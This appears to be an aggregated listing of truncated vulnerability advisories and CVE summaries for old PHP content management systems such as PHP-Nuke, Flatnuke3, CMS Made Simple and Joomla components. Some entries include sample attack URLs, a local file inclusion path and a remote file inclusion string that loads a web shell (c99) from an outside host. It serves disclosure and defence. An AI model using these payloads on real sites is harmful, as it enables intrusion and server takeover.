SAXON version 5.4 Multiple Path Disclosure Vulnerabilities

netVigilance Security Advisory 53 SAXON version 5.4 Multiple Path Disclosure Vulnerabilities Description: SAXON is a simple accessible online news publishing system for personal and small corporate site owners. Publish news, using configurable templates, on any .php page on your site. Publish new...

Local File Inclusion and Information Leakage vulnerabilities in PHP-Nuke

Здравствуйте 3APA3A! Сообщаю вам о найденной мною Local File Inclusion и Information Leakage уязвимостях в PHP-Nuke. Уязвимости в скриптах autohtml.php и autohtml0.php в параметре filename. Local File Inclusion: http://site/autohtml.php?filename=../file.php...

CVE-2003-1486

CVE-2003-1486 affects Phorum 3.4 to 3.4.2. An incorrect HTTP request to one of nine scripts (smileys.php, quick_listrss.php, purge.php, news.php, memberlist.php, forum_listrss.php, forum_list_rdf.php, forum_list.php, move.php) can make the server leak its full path in an error message. This is a ...

CVE-2003-1468

The WebLinks module in PHP-Nuke 6.0 through 6.5 final allows remote attackers to obtain the full web server path via an invalid cid parameter that is non-numeric or null, which leaks the pathname in an error message...

Flatnuke 3 Remote Command Execution / Privilege Escalation

No description provided by source. --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | / \ \ | \ \ | | | \ | |/ \ | | // | || | ||| /| / /\ | |||| /| / / &nb...

flatnuke3-fm.txt

--------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Flatnuke 3...

Flatnuke 3 Remote Command Execution / Privilege Escalation

Exploit for unknown platform in category web applications ========================================================== Flatnuke 3 Remote Command Execution / Privilege Escalation ========================================================== --------------------------------------------------------------...

Flatnuke 3 - Remote Command Execution Privilege Escalation

Flatnuke 3 - Remote Command Execution Privilege Escalation --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg...

Flatnuke3 File Manager Module - Unauthorized Access

Flatnuke3 File Manager Module - Unauthorized Access source: https://www.securityfocus.com/bid/26155/info Flatnuke3 is prone to an unauthorized-access vulnerability because it fails to adequately verify administrative credentials while logging in via the 'File Manager' module. An attacker can...

Flatnuke3 File Manager Module - Unauthorized Access

source: https://www.securityfocus.com/bid/26155/info Flatnuke3 is prone to an unauthorized-access vulnerability because it fails to adequately verify administrative credentials while logging in via the 'File Manager' module. An attacker can exploit this vulnerability to gain administrative contro...

CVE-2002-2288

CVE-2002-2288 affects Mambo Site Server 4.0.11. The vulnerability allows a remote attacker to disclose the server’s physical path by issuing an HTTP request to index.php containing a non-existent parameter, which triggers an error message revealing the path. No explicit remediation or patch detai...

CVE-2007-5444

CMS Made Simple 1.1.3.1 allows remote attackers to obtain the full path via a direct request for unspecified files...

CVE-2007-5444

CMS Made Simple 1.1.3.1 allows remote attackers to obtain the full path via a direct request for unspecified files...

CVE-2007-5444

CMS Made Simple 1.1.3.1 is vulnerable to a path-disclosure issue: remote attackers can obtain the server’s full path by directly requesting unspecified files. This is a remote, unauthenticated weakness with partial confidentiality impact. No explicit fix/version is stated in the provided document...

CVE-2007-5444: Exposure of Sensitive Information to an Unauthorized Actor

CMS Made Simple 1.1.3.1 allows remote attackers to obtain the full path via a direct request for unspecified files...

Several vulnerabilities in CMS Made Simple 1.1.3.1

Hi, There are several security bugs in CMS Made Simple 1.1.3.1 : I am not going to release dangerous and exploitable info here 1 There is a highly dangerous PHP code execution bug in the script . 2 A registered user can access unauthorized pages . For example he can upload files to the server, or...

Joomla! Component mp3 allopass 1.0 - Remote File Inclusion

Joomla! Component mp3 allopass 1.0 - Remote File Inclusion commp3allopass joomla component Remote File Include Vulnerability Component : commp3allopass Download file : http://www.joomlaratings.com Dicovered by : NoGe Contact : [email protected]...

CVE-2007-5306

ELSEIF CMS Beta 0.6 allows remote attackers to obtain sensitive information full path via unspecified vectors to utilisateurs/votesresultats.php...

picsol-rfi.txt

Picturesolution = v2.1 config.php path Remote File Inclusion Vulnerabilities Found By : Mogatil , http://www.hackteach.org/cc/ Posted By : Cold z3ro , http://www.hackteach.org/cc/ Exploit : /install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt? Example :...

Else If CMS 0.6 - Multiple Vulnerabilities

Else If CMS 0.6 - Multiple Vulnerabilities ELSEIF CMS Tested on "Else If version Beta 0.6" Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] These Are Examples .. iam tiered fetching the injected files : Remote File inclusion...